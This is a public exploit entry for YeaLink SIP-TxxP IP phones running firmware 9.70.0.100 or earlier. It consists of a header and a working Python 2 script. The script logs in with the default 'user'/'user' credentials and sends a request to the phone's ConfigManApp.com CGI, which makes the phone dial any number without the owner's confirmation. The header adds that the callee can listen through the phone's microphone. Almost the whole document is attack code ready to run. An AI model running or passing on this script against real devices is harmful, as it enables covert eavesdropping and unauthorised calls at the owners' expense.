YeaLink IP Phone Firmware 9.70.0.100 Missing Authentication

`# Exploit Title: [YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability]  
# Date: [05-28-2013]  
# Exploit Author: [b0hr (francisco<[at]>garnelo.eu)]  
# Vendor Homepage: [http://yealink.com]  
# Software Link: [ http://yealink.com/product_list.aspx?BaseInfoCateId=147&CateId=147&ProductsCateID=147 ]  
# Version: 9.70.0.100 and lower]  
# Tested on: [YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP phone)]  
# Vulnerability : [It's possible to make calls from using the first available sip account, without supervision or confirmation of the user, also the call receiver can listen through the phone mic .]  
  
#!/usr/bin/python  
  
import urllib2, sys  
  
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"  
  
if (len(sys.argv) != 3):  
print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"  
print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"  
exit(0)  
  
IP = sys.argv[1]  
num = sys.argv[2]  
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0.724202975169738' % (IP, num)  
webU = 'user'  
webP = 'user'  
  
query = urllib2.HTTPPasswordMgrWithDefaultRealm()  
query.add_password(None, UrlGet_params, webU, webP)  
auth = urllib2.HTTPBasicAuthHandler(query)  
log = urllib2.build_opener(auth)  
  
  
urllib2.install_opener(log)  
  
queryPag = urllib2.urlopen(UrlGet_params)  
  
print "\n Call to %s form IP phone %s\n" %(num,IP)  
  
`